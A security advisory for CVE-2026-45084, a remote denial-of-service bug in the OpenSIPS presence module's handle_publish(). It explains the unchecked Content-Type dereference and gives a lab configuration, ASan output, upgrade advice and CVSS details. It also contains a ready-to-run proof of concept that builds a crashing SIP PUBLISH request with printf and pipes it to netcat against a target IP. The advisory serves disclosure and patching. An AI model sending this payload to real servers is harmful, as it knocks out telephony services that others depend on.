Skip to content

denial of service in `presence.handle_publish()` from unchecked Content-Type state

High
razvancrainea published GHSA-h3ww-hchh-x2g9 May 21, 2026

Package

opensips (C)

Affected versions

3.4, 3.6, 4.0

Patched versions

4.0

Description

Description

A denial of service vulnerability exists in the presence module of OpenSIPS. When the handle_publish function processes a SIP PUBLISH request with an Event: presence header, a message body, and the configuration option enable_sphere_check=1, OpenSIPS crashes because it dereferences Content-Type parsing state that has not been initialized. In our testing, both a normal Content-Type: application/pidf+xml request and a request without Content-Type triggered the crash over UDP and TCP.

Technical details

The function handle_publish includes the following code:

if(sphere_enable && event->evp->parsed == EVENT_PRESENCE &&
    get_content_type(msg)== SUBTYPE_PIDFXML)
{
    sphere= extract_sphere(body);
}

The function get_content_type is a macro defined as:

#define get_content_type(_msg_)   ( ( (content_t *)(_msg_)->content_type->parsed)->type )

In this path, handle_publish reaches get_content_type(msg) without first calling parse_content_type_hdr(msg). If a Content-Type header is present but unparsed, msg->content_type->parsed is NULL and the macro dereferences it as a content_t pointer. If the request lacks a Content-Type header entirely, msg->content_type is NULL and the macro dereferences a NULL pointer. Both cases result in a crash.

Impact

A remote attacker can crash an OpenSIPS instance that uses handle_publish with enable_sphere_check=1.

The vulnerability is configuration-dependent. Production deployments may require authentication before PUBLISH reaches this route, but the vulnerable code path itself does not enforce authentication. Because a valid Content-Type: application/pidf+xml request triggered the crash in our OpenSIPS test, the issue is not limited to malformed SIP messages. The issue reproduced over both UDP and TCP in the vanilla 3.5.9 lab.

How to reproduce the issue

Run an OpenSIPS instance with the following configuration:

socket = udp:0.0.0.0:5060
socket = tcp:0.0.0.0:5060

loadmodule "proto_udp.so"
loadmodule "proto_tcp.so"
loadmodule "signaling.so"
loadmodule "sl.so"
loadmodule "tm.so"
loadmodule "maxfwd.so"
loadmodule "db_text.so"
loadmodule "xcap.so"
loadmodule "xcap_client.so"
loadmodule "presence.so"
loadmodule "presence_xml.so"

modparam("xcap", "db_url", "text:///usr/share/opensips/dbtext/opensips")
modparam("xcap", "integrated_xcap_server", 1)
modparam("presence", "db_url", "text:///usr/share/opensips/dbtext/opensips")
modparam("presence", "enable_sphere_check", 1)
modparam("presence_xml", "force_active", 1)

route {
    if ($rm == "PUBLISH") {
        handle_publish();
        exit;
    }

    if ($rm == "OPTIONS") {
        sl_send_reply(200, "OK");
        exit;
    }

    sl_send_reply(405, "Method Not Allowed");
    exit;
}

Execute the following UDP payload to reproduce the crash (replace [opensips-ip] with the target's IP address):

printf '%b' \
  'PUBLISH sip:1@127.0.0.1:5060 SIP/2.0\r\n' \
  'Via: SIP/2.0/UDP 127.0.0.1:5060;branch=z9hG4bK-a\r\n' \
  'From: <sip:1@attacker.invalid>;tag=1\r\n' \
  'To: <sip:1@127.0.0.1:5060>\r\n' \
  'Call-ID: 1\r\n' \
  'CSeq: 1 PUBLISH\r\n' \
  'Contact: <sip:presentity@127.0.0.1:5060>\r\n' \
  'Event: presence\r\n' \
  'Expires: 300\r\n' \
  'Max-Forwards: 70\r\n' \
  'Content-Type: application/pidf+xml\r\n' \
  'Content-Length: 137\r\n' \
  '\r\n' \
  '<?xml version="1.0"?>' \
  '<presence xmlns="urn:ietf:params:xml:ns:pidf">' \
  '<tuple id="t1"><status><basic>open</basic></status></tuple>' \
  '</presence>' | nc -u -w1 [opensips-ip] 5060

Observe that OpenSIPS crashes. The same issue was also reproduced with the Content-Type header removed, and with equivalent valid and missing-header payloads sent over TCP.

ASan result

==25==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000
#0 0x7ffff58ec3ca in handle_publish (/usr/lib64/opensips/modules/presence.so+0x523ca)
#1 0x555555828fa6 in do_action (/usr/sbin/opensips+0x2d4fa6)
#2 0x55555581c51b in run_action_list (/usr/sbin/opensips+0x2c851b)
#3 0x555555826178 in do_action (/usr/sbin/opensips+0x2d2178)
#4 0x55555581c51b in run_action_list (/usr/sbin/opensips+0x2c851b)
#5 0x55555581bf7e in run_actions (/usr/sbin/opensips+0x2c7f7e)
#6 0x55555581cd07 in run_top_route (/usr/sbin/opensips+0x2c8d07)
#7 0x5555558745c3 in receive_msg (/usr/sbin/opensips+0x3205c3)
SUMMARY: AddressSanitizer: SEGV (/usr/lib64/opensips/modules/presence.so+0x523ca) in handle_publish

For the missing Content-Type variant, ASan reported a related SEGV with a NULL-pointer read at 0x000000000030 in handle_publish.

Solutions and recommendations

OpenSIPS has published fixes for this advisory. Users should upgrade to OpenSIPS 3.6.6, 4.0.0-rc1, or a later fixed release. If immediate upgrade is not possible, restrict access to the affected feature or disable it until patching is complete.

About Enable Security

Enable Security provides quality penetration testing to help protect your real-time communications systems against attack.

Disclaimer

The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.

Disclosure policy

This report is subject to Enable Security's vulnerability disclosure policy which can be found at https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

CVE ID

CVE-2026-45084

Weaknesses

NULL Pointer Dereference

The product dereferences a pointer that it expects to be valid but is NULL. Learn more on MITRE.

Credits